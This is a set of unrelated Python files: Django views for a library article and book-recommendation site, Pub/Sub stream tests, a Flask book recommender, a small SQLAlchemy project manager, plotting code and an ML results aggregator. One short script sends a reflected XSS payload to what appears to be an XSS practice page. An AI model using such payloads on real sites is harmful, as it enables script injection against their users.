from django.shortcuts import render, redirect

# 导入 HttpResponse 模块
from django.http import HttpResponse

# 导入数据模型ArticlePost
from .models import ArticlePost

# 引入markdown模块
import markdown

# 引入redirect重定向模块
from django.shortcuts import render, redirect, get_object_or_404
# 引入HttpResponse
from django.http import HttpResponse
# 引入刚才定义的ArticlePostForm表单类
from .forms import ArticlePostForm ,CommentForm
# 引入User模型
from django.contrib.auth.models import User
from login.models import Reader

# 引入分页模块
from django.core.paginator import Paginator

# 引入Q对象，实现对多个参数进行查询（标题+正文）
from django.db.models import Q

# 引入栏目Model
from .models import ArticleColumn

# 导入评论Model
from .models import Comment

# 导入推荐图书Model
from .models import RecbooklistInfo

# 导入推荐图书Model
from .models import RecbooklistInfo

# 导入刚才定义的RecbooklistInfoForm表单类
from .forms import RecbooklistInfoForm, readerrecomForm

# 引入验证登录的装饰器
from django.contrib.auth.decorators import login_required

import datetime

# Create your views here.

# 读者推荐列表
def recom_list(request):
    recuserinfos = RecbooklistInfo.objects.all()
    return render(request, 'participate/reclist.html',{'recuserinfos':recuserinfos})

# 视图函数
# 文章列表
def article_list(request):
    # 重写文章列表，为了实现排序和搜索
    # 根据GET请求中查询条件
    # 从 url 中提取查询参数，返回不同排序的对象数组
    search = request.GET.get('search')
    order = request.GET.get('order')
    column = request.GET.get('column')
    tag = request.GET.get('tag')
    #初始化查询集
    article_list = ArticlePost.objects.all()

    # 用户搜索逻辑,搜索查询集
    if search:
        # 用 Q对象 进行联合搜索
        article_list = article_list.filter(
            Q(title__icontains=search) |
            Q(body__icontains=search)
        )
    else:
        # 将 search 参数重置为空
        search = ''

        # 栏目查询集
        if column is not None and column.isdigit():
            article_list = article_list.filter(column=column)

        # 标签查询集
        if tag and tag != 'None':
            article_list = article_list.filter(tags__name__in=[tag])

        # 查询集排序
        if order == 'total_views':
            article_list = article_list.order_by('-total_views')

    # 每页显示 3 篇文章
    paginator = Paginator(article_list, 3)
    # 获取 url 中的页码
    page = request.GET.get('page')
    # 将导航对象相应的页码内容返回给 articles
    articles = paginator.get_page(page)

    # 需要传递给模板（templates）的对象，并按照order排序
    context = {'articles': articles, 'order': order, 'search': search, 'column': column, 'tag': tag, }
    # render函数：载入模板，并返回context对象
    return render(request, 'participate/list.html', context)

# 文章详情
def article_detail(request, id):
    # 取出相应的文章
    article = ArticlePost.objects.get(id=id)
    # 浏览量+1
    article.total_views += 1
    article.save(update_fields=['total_views'])

    # 取出文章评论
    comments = Comment.objects.filter(article=id)

    # 将markdown语法渲染成html样式
    # 修改markdown样式
    md = markdown.Markdown(
         extensions=[
             # 包含 缩写、表格等常用扩展
             'markdown.extensions.extra',
             # 语法高亮扩展
             'markdown.extensions.codehilite',
             # 目录扩展
             'markdown.extensions.toc',
         ]
    )
    article.body = md.convert(article.body)

    # 需要传递给模板的对象
    context = {'article': article, 'toc': md.toc, 'comments': comments}
    # 载入模板，并返回context对象
    return render(request, 'participate/detail.html', context)

# 写文章的视图
def article_create(request):
    # 判断用户是否提交数据
    if request.method == "POST":
        # 将提交的数据赋值到表单实例中
        # # 因为POST的表单中包含了图片文件，所以要将request.FILES也一并绑定到表单类中，否则图片无法正确保存
        article_post_form = ArticlePostForm(request.POST, request.FILES)
        # 判断提交的数据是否满足模型的要求
        if article_post_form.is_valid():
            # 保存数据，但暂时不提交到数据库中
            new_article = article_post_form.save(commit=False)
            # 指定数据库中 id=1 的用户为作者
            # 如果你进行过删除数据表的操作，可能会找不到id=1的用户
            # 此时请重新创建用户，并传入此用户的id
            new_article.author = User.objects.get(id=1)
            # 新增的代码，添加栏目
            if request.POST['column'] != 'none':
                new_article.column = ArticleColumn.objects.get(id=request.POST['column'])
            # 将新文章保存到数据库中
            new_article.save()

            # 新增代码，保存 tags 的多对多关系
            article_post_form.save_m2m()

            # 完成后返回到文章列表
            return redirect("participate:article_list")
        # 如果数据不合法，返回错误信息
        else:
            return HttpResponse("表单内容有误，请重新填写。")
    # 如果用户请求获取数据
    else:
        # 创建表单类实例
        article_post_form = ArticlePostForm()
        columns = ArticleColumn.objects.all()
        # 赋值上下文
        context = { 'article_post_form': article_post_form, 'columns': columns }
        # 返回模板
        return render(request, 'participate/create.html', context)

# 删文章
def article_delete(request, id):
    # 根据 id 获取需要删除的文章
    article = ArticlePost.objects.get(id=id)
    # 调用.delete()方法删除文章
    article.delete()
    # 完成删除后返回文章列表
    return redirect("participate:article_list")

# 安全删除文章
def article_safe_delete(request, id):
    if request.method == 'POST':
        article = ArticlePost.objects.get(id=id)
        article.delete()
        return redirect("participate:article_list")
    else:
        return HttpResponse("仅允许post请求")

# 更新文章
def article_update(request, id):
    """
    更新文章的视图函数
    通过POST方法提交表单，更新titile、body字段
    GET方法进入初始表单页面
    id： 文章的 id
    """

    # 获取需要修改的具体文章对象
    article = ArticlePost.objects.get(id=id)
    # 判断用户是否为 POST 提交表单数据
    if request.method == "POST":
        # 将提交的数据赋值到表单实例中
        article_post_form = ArticlePostForm(data=request.POST)
        # 判断提交的数据是否满足模型的要求
        if article_post_form.is_valid():
            # 保存新写入的 title、body 数据并保存
            article.title = request.POST['title']
            article.body = request.POST['body']
            # 新增栏目代码
            if request.POST['column'] != 'none':
                article.column = ArticleColumn.objects.get(id=request.POST['column'])
            else:
                article.column = None
            article.save()
            # 新增上传图片代码
            if request.FILES.get('avatar'):
                article.avatar = request.FILES.get('avatar')

            article.tags.set(*request.POST.get('tags').split(','), clear=True)
            article.save()
            # 完成后返回到修改后的文章中。需传入文章的 id 值
            return redirect("participate:article_detail", id=id)
        # 如果数据不合法，返回错误信息
        else:
            return HttpResponse("表单内容有误，请重新填写。")
    # 如果用户 GET 请求获取数据
    else:
        # 创建表单类实例
        article_post_form = ArticlePostForm()
        # 新增栏目代码
        columns = ArticleColumn.objects.all()
        # 赋值上下文，将 article 文章对象也传递进去，以便提取旧的内容
        context = {'article': article, 'article_post_form': article_post_form, 'columns': columns, 'tags': ','.join([x for x in article.tags.names()]),}
        # 将响应返回到模板中
        return render(request, 'participate/update.html', context)

# 文章评论
@login_required(login_url='/login/readerLogin/')
def post_comment(request, article_id):
        article = get_object_or_404(ArticlePost, id=article_id)
        # 处理 POST 请求
        if request.method == 'POST':
            comment_form = CommentForm(request.POST)
            if comment_form.is_valid():
                commentbody = comment_form.cleaned_data['commentbody']
                new_comment=Comment.objects.create(article=article,user=request.user,commentbody=commentbody)
                new_comment.save()
                return redirect(article)
            else:
                return HttpResponse("表单内容有误，请重新填写。")
        # 处理错误请求
        else:
            return HttpResponse("发表评论仅接受POST请求。")

# 读者好书推荐列表
def recom_list(request):
    recuserinfos = RecbooklistInfo.objects.all()
    return render(request, 'participate/reclist.html',{'recuserinfos':recuserinfos})

def donation_rules(request):
    return render(request, 'participate/rules.html')

def group_book(request):
        return render(request, 'participate/groupbook.html')

def donation_treatments(request):
        return render(request, 'participate/treatments.html')

def donation_contact(request):
        return render(request, 'participate/contact.html')

# 读者好书推荐
@login_required
def reader_recom(request):
    '''把已有的用户信息读出来，然后判断用户请求是POST还是GET。如果是GET，则显示表单,并将用户已有信息也显示在其中，如果是POST，则接收用户提交的表单信息，然后更新各个数据模型实例属性的值'''
    response = HttpResponse('')
    id = request.user.id
    readerrecom_form = readerrecomForm()
    if request.method == "POST":
        message = '请注意检查填写内容'
        readerrecom_form = readerrecomForm(request.POST)
        if readerrecom_form.is_valid():
            #获取前端表单中的数据，并用变量进行保存
            #张丽：表单的数据无效错误在于数据库设计不合理，出版年份不能为DateField
            bookName = readerrecom_form.cleaned_data['bookName']#推荐书名
            bookAuthor = readerrecom_form.cleaned_data['bookAuthor']#书的作者
            bpublisher = readerrecom_form.cleaned_data['bpublisher']
            bpubTime =readerrecom_form.cleaned_data['bpubTime']
            bookISBN =readerrecom_form.cleaned_data['bookISBN']
            bookIntroduction = readerrecom_form.cleaned_data['bookIntroduction']  # 自动完整显示记录数
            RecIdentity =readerrecom_form.cleaned_data['RecIdentity']
            RecDepartment = readerrecom_form.cleaned_data['RecDepartment']
            #创建“读者推荐表”实例，用以在数据库中创建记录
            user=request.user
            today=datetime.date.today()
            recbook = RecbooklistInfo.objects.create(bookName=bookName, bookAuthor=bookAuthor, bpublisher=bpublisher,RecIdentity=RecIdentity,RecDepartment=RecDepartment,RecTime=today  ,bookISBN=bookISBN,bookIntroduction=bookIntroduction, RecName=user,bpubTime=bpubTime)
            recbook.save()
            message = '推荐成功！感谢您的参与！'
        context = {
                'readerrecom_form': readerrecom_form,
                'message': message,
            }
        return render(request, 'participate/bookrecom.html', context)
    return render(request, 'participate/bookrecom.html', locals())


from question_model import Question
from data import question_data
from quiz_brain import QuizBrain

question_bank = []
for question in question_data:
    q1 = question['text']
    answer = question['answer']
    new_question = Question(q1, answer)
    question_bank.append(new_question)

quiz = QuizBrain(question_bank)
while quiz.still_has_question():
    quiz.next_question()

print('You completed the quiz Well Done!')
print(f'Your final scores was:{quiz.score}/{quiz.question_number} ')


import time

import pytest
from _pytest.outcomes import Failed
from streamz import Stream
from streamz.utils_test import wait_for
from streamz_gcp_pubsub.sources import from_gcp_pubsub
from streamz_gcp_pubsub.tests import uuid

Stream.register_api(staticmethod)(from_gcp_pubsub)

def test_source(clients, info):
    topic, subscription = info
    source = Stream.from_gcp_pubsub(subscription, timeout=1)
    L = source.map(lambda x: int(x.data)).sink_to_list()
    source.start()

    pub, _ = clients
    for i in range(10):
        pub.publish(topic, str(i).encode())

    wait_for(lambda: list(range(10)) == L, 1)

    with pytest.raises(Failed):
        wait_for(lambda: len(L) > 10, 3)  # test ack

    source.stop()

def test_ensure(clients, info):
    pub, sub = clients
    topic, _ = info

    sub_path = f"projects/test-project/subscriptions/test_{uuid()}"

    source = Stream.from_gcp_pubsub(
        sub_path, timeout=1, ensure_subscription=True, topic=topic
    )
    source.sink_to_list()
    source.start()

    subscriptions = set(
        s.name for s in sub.list_subscriptions(project="projects/test-project")
    )
    assert sub_path in subscriptions

    source.stop()

@pytest.mark.usefixtures("clients")
def test_ensure_raises():
    sub_path = f"projects/test-project/subscriptions/test_{uuid()}"

    source = Stream.from_gcp_pubsub(
        sub_path, timeout=1, ensure_subscription=True, topic=None
    )

    with pytest.raises(ValueError):
        source.start()

def test_ensure_idempotent(info):
    topic, subscription = info

    source = Stream.from_gcp_pubsub(
        subscription, timeout=1, ensure_subscription=True, topic=topic
    )
    source.start()  # sub already exists, but this shouldn't fail
    source.stop()

def test_timeout(info):
    topic, subscription = info

    source = Stream.from_gcp_pubsub(subscription, timeout=0.5)
    source.start()
    time.sleep(3)
    source.stop()


from flask import Flask, jsonify, request, render_template
from buffalo.algo.als import ALS
from buffalo.misc import aux, log
from buffalo.algo.options import ALSOption
import buffalo.data
from buffalo.data.mm import MatrixMarketOptions

import numpy as np
import pandas as pd
import helper as hp
from scipy.io import mmwrite
from scipy.io import mmread
from scipy.sparse import csr_matrix
import json
import random
import requests
from xml.etree import ElementTree
from xml.etree.ElementTree import parse

app = Flask(__name__)

users = pd.read_json('./model/users.json', typ='frame')
books = pd.read_json('./model/books.json', typ='frame')
#books = pd.read_excel('./model/books.xlsx')
books['ISBN'] = books['ISBN'].astype(str)
books['권'] = books['권'].fillna('')

userbook_map = hp.get_userbook_map(users)
user_items, uid_to_idx, idx_to_uid, mid_to_idx, idx_to_mid = hp.df_to_matrix(userbook_map, 'user_id', 'book_id')
iid = list(idx_to_mid.values())
uid = list(idx_to_uid.values())

#model = ALS(opt, data_opt=data_opt)
model = ALS()
model.load('./model/als.optimize.bin')

headers = {
	    'X-Naver-Client-Id': '',
	    'X-Naver-Client-Secret': '',
	}

def get_bookimage(params):
	response = requests.get('https://openapi.naver.com/v1/search/book_adv.xml', headers=headers, params=params)
	root = ElementTree.fromstring(response.text)

	img_url = ''
	if root.tag == 'rss':
		for node in root:
			item = node.find("item")
			image = item.find("image")
			img_url = image.text

	return img_url

@app.route("/")
def list_user_history():

	idx = random.randint(0, len(users) - 1)
	user = users.iloc[idx]

	if user['user_id'][0] == 'm':
		user['gender'] = '남성'
		user['color'] = '#007bff'
	else:
		user['gender'] = '여성'
		user['color'] = '#e83e8c'

	arr = user['user_id'].split('_')
	if len(arr) == 3:
		user['theme'] = '실용'
	else:
		user['theme'] = '교양'

	user['age'] = user['user_id'][1:3]

	history = pd.DataFrame(user['books'], columns=['ISBN'])
	history['ISBN'] = history['ISBN'].astype(str)
	#print(history.head())

	history = pd.merge(history, books, on='ISBN')

	img_list = []
	for val in history['ISBN']:
		#book = history.iloc[i]
		#val = book['ISBN']
		params = (
		    ('d_isbn', val),
		    ('start', '1')
		)

		img_url = get_bookimage(params)
		img_list.append(img_url)

	history['image'] = pd.Series(img_list)
	temp_dict = history.to_dict(orient='records')
	#print(history.head())

	return render_template("user_history.html", user=user, history=temp_dict)

@app.route("/recomm", methods=['GET'])
def recommend_book():

	user_id = request.args.get('user_id', '')
	idx = uid_to_idx[user_id]
	user = users.iloc[idx]

	if user['user_id'][0] == 'm':
		user['gender'] = '남성'
		user['color'] = '#007bff'
	else:
		user['gender'] = '여성'
		user['color'] = '#e83e8c'

	arr = user['user_id'].split('_')
	if len(arr) == 3:
		user['theme'] = '실용'
	else:
		user['theme'] = '교양'

	user['age'] = user['user_id'][1:3]

	seen = user['books']
	#print(seen)

	pool = iid.copy()
	for val in seen:
		pool.remove(val)

	recomm_books = model.topk_recommendation(user_id, topk=10, pool=pool)

	pred = pd.DataFrame(recomm_books, columns=['ISBN'])
	pred['ISBN'] = pred['ISBN'].astype(str)

	pred = pd.merge(pred, books, on='ISBN')

	img_list = []
	for val in pred['ISBN']:
		params = (
		    ('d_isbn', val),
		    ('start', '1')
		)

		img_url = get_bookimage(params)
		img_list.append(img_url)

	pred['image'] = pd.Series(img_list)
	temp_dict = pred.to_dict(orient='records')

	return render_template("recomm.html", user=user, recomm=temp_dict)


from datetime import datetime
from sqlalchemy.orm import sessionmaker, declarative_base
from sqlalchemy import create_engine
from sqlalchemy import Column, Integer, String, Float, DateTime

engine = create_engine('sqlite:///PTU16_live/db/projektai.db')
Base = declarative_base()
session = sessionmaker(engine)()

class Projektas(Base):
    __tablename__ = "Porojektas"
    id = Column(Integer, primary_key=True)
    pavadinimas = Column("pavadinimas", String(50))
    kaina = Column("kaina", Float())
    sukurta = Column("sukurta", DateTime, default=datetime.utcnow)

    def __init__(self, pavadinimas, kaina):
        self.pavadinimas = pavadinimas
        self.kaina = kaina

    def __repr__(self):
        return f"({self.id}, {self.pavadinimas}, {self.kaina}, {self.sukurta})"

def select_project(session=session) -> Projektas | None:
    try:
        id = int(input("Pasirinkite projektą: "))
        projektas = session.get(Projektas, id)
    except Exception as error:
        print(error.__class__, error)
    else:
        return projektas

def ieskoti(session=session) -> None:
    pavadinimas = input("Pavadinimas (galimas tuščias): ")
    try:
        kaina_nuo = float(input("Kaina nuo: "))
    except ValueError:
        kaina_nuo = None
    try:
        kaina_iki = float(input("Kaina iki: "))
    except ValueError:
        kaina_iki = None
    uzklausa = session.query(Projektas)
    if len(pavadinimas) > 0:
        uzklausa = uzklausa.filter(Projektas.pavadinimas.ilike(f"%{pavadinimas}%"))
    if type(kaina_nuo) == float:
        uzklausa = uzklausa.filter(Projektas.kaina >= kaina_nuo)
    if type(kaina_iki) == float:
        uzklausa = uzklausa.filter(Projektas.kaina <= kaina_iki)
    rasti = uzklausa.all()
    if len(rasti) > 0:
        for rastas in rasti:
            print(rastas)
    else:
        print("Projektų pagal užklausą nėra")
    input("Spauskite ENTER kad tęsti...:")

try:
    Base.metadata.create_all(engine)
except Exception as error:
    print(error.__class__, error)

meniukas = """ Super duper projektų valdymo programėlė
0 - išeiti
1 - peržiūrėti visus
2 - paieška
3 - naujas projektas
4 - atnaujinti projektą
5 - uždaryi projektą
PASIRINKITE: """

while True:
    pasirinkimas = input(meniukas)
    if pasirinkimas == "0":
        print("Bye!")
        break
    elif pasirinkimas == "1":
        projektai = session.query(Projektas).all()
        for projektas in projektai:
            print(projektas)
    elif pasirinkimas == "2":
        ieskoti()
    elif pasirinkimas == "3":
        pavadinimas = input("Pavadinimas: ")
        try:
            kaina = float(input("Kaina: "))
            naujas = Projektas(pavadinimas, kaina)
        except Exception as error:
            print(error.__class__, error)
        else:
            if len(pavadinimas) > 0:
                session.add(naujas)
                session.commit()
                print("Done!")
    elif pasirinkimas == "4":
        projektas = select_project()
        if projektas:
            pavadinimas = input("Pavadinimas (tuščias kad nekeisti): ")
            if len(pavadinimas):
                projektas.pavadinimas = pavadinimas
            try:
                kaina = float(input("Kaina (tuščia kad nekeisti): "))
            except ValueError:
                pass
            else:
                projektas.kaina = kaina
            session.add(projektas)
            session.commit()
            print("Done!")
    elif pasirinkimas == "5":
        projektas = select_project()
        if projektas:
            session.delete(projektas)
            session.commit()
            print("Done!")
    else:
        print("Klaida: Netinkamas pasirinkimas")


from pylab import *
from mpl_toolkits.mplot3d import Axes3D
from matplotlib.pyplot import show

fig = figure()
ax = Axes3D(fig)
x = arange(-4, 4, 0.25)
y = arange(-4, 4, 0.25)
x, y = meshgrid(x, y)
R = sqrt(abs(x**3) + y**2)
z = sin(R)
ax.plot_surface(x, y, z, rstride = 1 , cstride = 1, cmap = cm.hot)
ax.contourf(x, y, z, zdir = "z", offset = -2, cmap = cm.hot)
ax.set_zlim(-2, 2)
show()


#!/usr/bin/python3
import requests

url = "https://brutelogic.com.br/gym.php"
payload = {'p01': '</title><script>alert(1)</script><title>'}

r = requests.get(url, params=payload)

print(r.text)
print(r.url)


import os
import pandas as pd
import pprint
import pickle
import numpy as np
from sklearn import metrics
import argparse
import logging
import itertools
import copy

DATA_PREFIX = ['train', 'val', 'test']
AGG_METRIC = ['mean', 'std', 'min', 'max']

def load_data(base_dir, folds):
    data = {'train': [], 'val': [], 'test': []}
    for i in range(folds):
        for el in DATA_PREFIX:
            ys = pickle.load(
                open(os.path.join(base_dir, el+'_'+str(i)+".pkl"), 'rb'))[:, -1]
            data[el].append(ys)
    return data

def check_data(base_dir, folds):
    for i in range(folds):
        for el in DATA_PREFIX:
            if not os.path.isfile(os.path.join(base_dir, el+'_'+str(i)+".pkl")):
                logging.error("File not present at {}".format(
                    os.path.join(base_dir, el+'_'+str(i)+".pkl")))
                return False
    return True

"""
def make_path(arch, kl, neg_r, rho):
    # exp_c-configs.fb15k_config_7_4.yml_k-0_n--0.5_r-0.01
    #return "exp_c-{}_k-{}_n-{}_r-{}".format(arch, kl, neg_r, rho)
    return "exp_c-{}_k-{}_n-{}_r-{}".format(arch, kl, neg_r, rho)

def get_params(directory):
    exps = os.listdir(directory)
    neg_rewards = set()
    rhos = set()

    kls = set()
    archs = set()
    ex = set()
    for exp in exps:
        if os.path.isdir(os.path.join(directory, exp)):
            delim1 = exp.find("_c-")
            delim2 = exp.find("_k-")
            delim3 = exp.find("_n-")
            delim4 = exp.find("_r-")
            neg_r = exp[delim3+3:delim4]
            rho   = exp[delim4+3:]
            kl    = exp[delim2+3:delim3]
            arch  = exp[delim1+3:delim2]
            neg_rewards.add(neg_r)
            rhos.add(rho)
            kls.add(kl)
            archs.add(arch)
    return (list(sorted(neg_rewards, key=float)), list(sorted(rhos, key=float)), list(sorted(kls, key=float)), list(sorted(archs, key=float)))
"""

def get_string(x):
    return str(x).replace('/','.').replace(' ','.')

def get_params():
    return get_params2()

def get_params2():
    #COPIED FROM CREATE_MULTINODE_JOBS.PY
    neg_reward = [-1, -2]
    rho = [0.1, 0.125]
    config = ['configs/fb15k_config.yml']
    kldiv_lambda = [0, 1]
    exclude_t_ids = ['2 5']
    hidden_unit_list = ['90 40','7 5 5 3']
    default_value = [0, -0.05, -0.1]
    #
    names = ['neg_reward','rho','kldiv_lambda','config','exclude_t_ids','hidden_unit_list','default_value']
    all_params = [neg_reward,rho, kldiv_lambda, config,exclude_t_ids,hidden_unit_list,default_value]
    short_names = ['n','r','k','c','ex','hul','df']

    assert len(names) == len(all_params)
    assert len(all_params) == len(short_names)

    timing_key = 'hidden_unit_list'
    timing = [10]*len(hidden_unit_list)
    #assert(len(globals()[timing_key]) == len(timing))
    assert len(all_params[names.index(timing_key)]) == len(timing),'len of timing should be same as len of timing_key param'
    timing_dict = dict(zip(all_params[names.index(timing_key)],timing))
    all_jobs = list(itertools.product(*all_params))

    additional_names = ['train_ml','eval_ml']
    additional_job_list = [
                    [0,0],
                    [1,1]
                    ]

    names = names + additional_names
    additional_short_names = ['tml','eml']
    short_names = short_names + additional_short_names
    assert len(names) == len(short_names)
    name2short = dict(zip(names,short_names))
    all_jobs = list(itertools.product(all_jobs,additional_job_list))
    sorted_names = copy.deepcopy(names)
    sorted_names.sort()

    #### WRITTEN AGAIN with MODIFICATION
    for i,key in enumerate(additional_names):
        all_params.append([x[i] for x in additional_job_list])
    #
    name2list = dict(zip(names,all_params))
    for key in sorted_names:
        name2list[key] = [ get_string(x) for x in name2list[key]]

    all_settings = {}
    for i, setting in enumerate(all_jobs):
        setting = list(itertools.chain(*setting))
        name_setting = {n: get_string(s) for n, s in zip(names, setting)}
        log_str = '_'.join(['%s-%s' % (name2short[n], name_setting[n]) for n in sorted_names])
        all_settings[log_str] = name_setting
    #return all_settings, name2list, high level params, rows_cols
    return all_settings, name2list,['config','exclude_t_ids','kldiv_lambda','train_ml','eval_ml','default_value','hidden_unit_list'],['rho','neg_reward']

def get_params1():
    #COPY FROM CREATE_MULTINODE_JOBS.PY
    neg_reward = [-1, -2]
    rho = [0.125]
    config = ['configs/fb15k_config_90_40.yml']
    kldiv_lambda = [0, 1]
    exclude_t_ids = ['2 5',None]
    #exclude_t_ids = [None]
    names = ['neg_reward','rho','kldiv_lambda','config','exclude_t_ids']
    all_params = [neg_reward,rho, kldiv_lambda, config,exclude_t_ids]
    short_names = ['n','r','k','c','ex']
    name2list = dict(zip(names,all_params))

    name2short = dict(zip(names,short_names))
    sorted_names = copy.deepcopy(names)
    sorted_names.sort()
    for key in sorted_names:
        name2list[key] = [ get_string(x) for x in name2list[key]]

    sorted_names = copy.deepcopy(names)
    all_settings = {}
    sorted_names.sort()
    all_jobs = list(itertools.product(*all_params))
    for i, setting in enumerate(all_jobs):
        setting = list(setting)
        name_setting = {n: get_string(s) for n, s in zip(names, setting)}
        log_str = '_'.join(['%s-%s' % (name2short[n], name_setting[n]) for n in sorted_names])
        all_settings[log_str] = name_setting
    #return all_settings, name2list, high level params, rows_cols
    return all_settings, name2list,['config','kldiv_lambda','rho'],['exclude_t_ids','neg_reward']

def check_exp(directory, data, folds):
    return check_exp2(directory, data, folds)

def check_exp2(directory, data, folds):
    for el in DATA_PREFIX[1:]:
        preds_fname = os.path.join(
                directory, '{}_ml_{}'.format(el,args.eval_ml))

        if os.path.isfile(preds_fname):
            return True
        else:
            logging.error("File {} does not exist".format(preds_fname))
            return False
    return True

def check_exp1(directory, data, folds):
    for i in range(folds):
        for el in DATA_PREFIX[1:]:
            if el == 'val':
                preds_fname = os.path.join(
                    directory, 'exp_'+str(i), 'val_pred_ml_{}.txt'.format(args.eval_ml))
            else:
                preds_fname = os.path.join(
                    directory, 'exp_'+str(i), 'test_pred_ml_{}.txt'.format(args.eval_ml))
            if os.path.isfile(preds_fname):
                pred_data = np.loadtxt(preds_fname).tolist()
                if len(data[el][i]) != len(pred_data):
                    logging.error(
                        "Length of {} does not match with ground truth data".format(preds_fname))
                    return False
            else:
                logging.error("File {} does not exist".format(preds_fname))
                return False
    return True

def begin_checks(base_dir, folds, runs):
    data_present = check_data(base_dir, folds)
    if not data_present:
        logging.error("Data Check failed")
        return (False, [])
    data = load_data(base_dir, folds)
    logging.info("Data Check Passed")

    #cols, rows, kls, archs = get_params(os.path.join(base_dir, "run_1"))
    all_settings, name2list,exp_classes, rows_cols = get_params()
    invalid_exps = []
    for run in range(1, runs+1):
        for this_setting in all_settings:
            directory = os.path.join(base_dir, "run_"+str(run), 'exp_'+this_setting)
            if not check_exp(directory, data, folds):
                invalid_exps.append(directory)
    #
    if (len(invalid_exps) == 0):
        logging.info("All experiments are ok")
        return (True, [])
    else:
        logging.error("Following experiments have error\n{}".format(
            str(pprint.pformat(invalid_exps))))
        logging.error("Length is {}".format(len(invalid_exps)))
        return (False, invalid_exps)

def write_invalid(invalid_exps, fname):
    if fname is not None:
        with open(fname, 'w') as f:
            for exp in invalid_exps:
                f.write('/'.join(exp.split('/')[-2:])+'\n')
        logging.error("Written invalid experiments to {}".format(fname))

def calc_exp(directory, data, folds):
    return calc_exp_read(directory, data,folds)

def calc_exp_read(directory, data, folds):
    #directory/test_ml_0
    #directory/test_ml_1
    #directory/val_ml_0
    #directory/val_ml_1
    rv = []
    count = []
    for el in DATA_PREFIX[1:]:
        fname = os.path.join(directory, '{}_ml_{}'.format(el, args.eval_ml))
        f = pd.read_csv(fname,header=None).to_numpy()
        #assert f.shape[0] == 5
        if f.shape[0] != folds:
            print("Num folds: {}. #folds present: {}. ASSUMING 0 performance for them".format(folds, f.shape[0]))
        rv.append(f[:,-1].sum()/folds)
        count.append(f.shape[0])
    #
    return (rv[0], rv[1], count[0], count[1])

def calc_exp_compute(directory, data, folds):
    predictions = {'val': [], 'test': []}
    true = {'val': [], 'test': []}
    logging.info("Calculating results for experiment {}".format(directory))
    for i in range(folds):
        for el in DATA_PREFIX[1:]:
            if el == 'val':
                preds_fname = os.path.join(
                    directory, 'exp_'+str(i), 'valid_preds.txt')
            else:
                preds_fname = os.path.join(
                    directory, 'exp_'+str(i), 'test_preds.txt')
            pred_data = np.loadtxt(preds_fname).tolist()
            predictions[el].extend(pred_data)
            true[el].extend(data[el][i])
    mif_val = metrics.f1_score(true['val'], predictions['val'], labels = args.t_ids, average='micro')
    mif_test = metrics.f1_score(true['test'], predictions['test'], labels= args.t_ids, average='micro')
    return (mif_val, mif_test)

"""
def calc_run_results(directory, rows, cols, KLs, Archs, data, folds):
    results_one_run = {'neg_re': [], 'rho': [], 'val': [], 'test': [], 'kl':[], 'arch':[]}
    for col in cols:
        for row in rows:
        	for kl in KLs:
        		for arch in Archs:
		            exp_directory = os.path.join(directory, make_path(arch, kl, col, row))
		            val, test = calc_exp(exp_directory, data, folds)
		            results_one_run['neg_re'].append(col)
		            results_one_run['rho'].append(row)
		            results_one_run['val'].append(val)
		            results_one_run['test'].append(test)
		            results_one_run['kl'].append(kl)
		            results_one_run['arch'].append(arch)
    df = pd.DataFrame(data=results_one_run)
    return df
"""

def calc_run_results(directory, all_settings, name2list, data, folds):
    results_one_run = None
    param_keys = None
    for key in all_settings:
        this_setting = all_settings[key]
        exp_directory = os.path.join(directory,'exp_'+key)
        val, test,val_count, test_count = calc_exp(exp_directory, data, folds)
        if results_one_run is None:
            results_one_run = {}
            param_keys = list(this_setting.keys())
            for this_param in this_setting:
                results_one_run[this_param] = [this_setting[this_param]]
            #
            results_one_run['val'] = [val]
            results_one_run['test'] = [test]
            results_one_run['val_count'] = [val_count]
            results_one_run['test_count'] = [test_count]

        else:
            for this_param in this_setting:
                results_one_run[this_param].append(this_setting[this_param])
            #
            results_one_run['val'].append(val)
            results_one_run['test'].append(test)
            results_one_run['val_count'].append(val_count)
            results_one_run['test_count'].append(test_count)
    df = pd.DataFrame(data=results_one_run)
    return df, param_keys

def write_to_file(table, header, f):
    f.write(header+'\n')
    table.to_csv(f, float_format='%.4f')
    f.write('\n')

if __name__ == "__main__":
    logging.basicConfig(format='%(levelname)s :: %(asctime)s - %(message)s',
                        level=logging.INFO, datefmt='%d/%m/%Y %I:%M:%S %p')

    parser = argparse.ArgumentParser()
    parser.add_argument(
        '-d', '--dir', help="Path of the base directory", required=True)
    parser.add_argument('--folds', type=int, default=5, required=True)
    parser.add_argument('--eval_ml', type=int, default=0, required=True, help='collate results of multi label evaluation?' )
    parser.add_argument('--runs', type=int, default=5, required=True)
    parser.add_argument(
        '--ifile', help='File to write the experiment names which failed', type=str, default=None)

    parser.add_argument('--t_ids', nargs='+', type=int, required=False,default=[1,2,3,4,5,6], help='List of templates')
    args = parser.parse_args()

    ok, invalid_exps = begin_checks(args.dir, args.folds, args.runs)

    if not ok and len(invalid_exps) > 0:
        write_invalid(invalid_exps, args.ifile)
        exit(0)

    logging.info("All Checks passed")
    #cols, rows, KLs, Archs = get_params(os.path.join(args.dir, "run_1"))
    #all_settings, name2list = get_params()
    all_settings, name2list,exp_classes, rows_cols = get_params()

    data = load_data(args.dir, args.folds)
    all_run_results = []
    for run in range(1, args.runs+1):
        logging.info("Calculating results for run {}".format(run))
        df,param_keys = calc_run_results(os.path.join(args.dir, "run_"+str(run)), all_settings, name2list, data, args.folds)
        df['run_id'] = run
        #df = calc_run_results(os.path.join(
        #    args.dir, "run_"+str(run)), rows, cols, KLs, Archs data, args.folds)
        all_run_results.append(df)

    final_result = pd.concat(all_run_results)
    final_result = final_result.reset_index(drop=True)
    agg_table = final_result.groupby(param_keys).agg({DATA_PREFIX[1]:AGG_METRIC, DATA_PREFIX[2]: AGG_METRIC, DATA_PREFIX[1]+'_count': 'sum', DATA_PREFIX[2]+'_count': 'sum'})
    #agg_table.columns = [d+"_"+a for d,
    #                     a in itertools.product(DATA_PREFIX[1:], AGG_METRIC)]

    agg_table.columns = ['_'.join(x) for x in agg_table.columns.to_flat_index()]
    agg_table = agg_table.reset_index()
    agg_table.to_csv(os.path.join(args.dir, 'all_performance.csv'))
    fh = open(os.path.join(args.dir, 'summary.csv'), 'w')

    for this_param in itertools.product(*([name2list[x] for x in exp_classes] + [DATA_PREFIX[1:], AGG_METRIC])):
        d = this_param[-2]
        a = this_param[-1]
        selection = None
        for ind in range(len(exp_classes)):
            this_selection= agg_table[exp_classes[ind]] == this_param[ind]
            if selection is None:
                selection = this_selection
            else:
                selection = selection & this_selection
        #
